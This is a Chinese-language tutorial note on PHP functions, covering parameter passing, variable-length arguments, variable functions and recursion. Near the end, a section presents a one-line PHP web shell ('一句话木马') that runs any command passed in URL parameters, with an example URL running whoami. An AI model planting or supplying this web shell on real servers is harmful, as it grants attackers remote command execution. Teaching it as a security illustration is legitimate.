PHP(五)函数
function 函数名(形参)
{
代码块
return 表达式; //返回值,不写默认返回NULL
}
函数调用:
1.实参按 顺序 传形参
2.调用时函数互相独立,执行完毕后,返回调用的位置,继续向下执行
参数的传递
1. 默认方式:值传递,对形参的操作不会影响实参
2. 引用传参:对形参的操作会对实参产生影响
3. 默认参数:如果没有给函数传递实参,将取默认值
可变长度参数列表
func_get_arg(1); 根据参数偏移量,从零开始计数,获取序号为1的参数
func_get_args(); 返回一个包含函数参数的数组
func_num_args(); 获取参数个数
可变函数(变量函数)
1.可直接把 函数名 赋值给变量
2.不能用于 echo ,print , unset() , isset() , empty(), ,include , require 等,需要使用自己的包装函数来将这些结构用作可变函数
3.结构:$a($b);
例子1:
<?php
header("Content-type:text/html;charset=gb2312");
function test1(){
echo "This is func ".__FUNCTION__;
echo "<br />".func_get_arg(0);
}
function test2(){
echo "This is func".__FUNCTION__;
echo "<br />".func_get_arg(0);
}
$a="test1"; //引号中为函数名
$a("jiayou"); //一个函数,函数名为$a,相当于test1("jiayou");
?>
结果为
例子2:
<?php
header("Content-type:text/html;charset=gb2312");
$a="system";
$a("ipconfig");//一个函数,函数名为$a,相当于system("ipconfig");
?>
结果为
最简单的后门 (一句话木马)
<?php
header("Content-type:text/html;charset=gb2312");
$_GET['a']($_GET['b']);
?>
url 输入: 路径 + ?a=system&&b=whoami 等其他命令,中间不能有空格
递归函数
指在函数内部自己调用自己的函数
内部(内置) 函数
PHP提供了许多现成的 函数 与 结构 ,还有一些函数需要开启特定的 PHP扩展模块,否则使用时会得到一个错误 “未定义该函数” 。
这些扩展模块需要 手动修改php.ini文件 即可正常使用。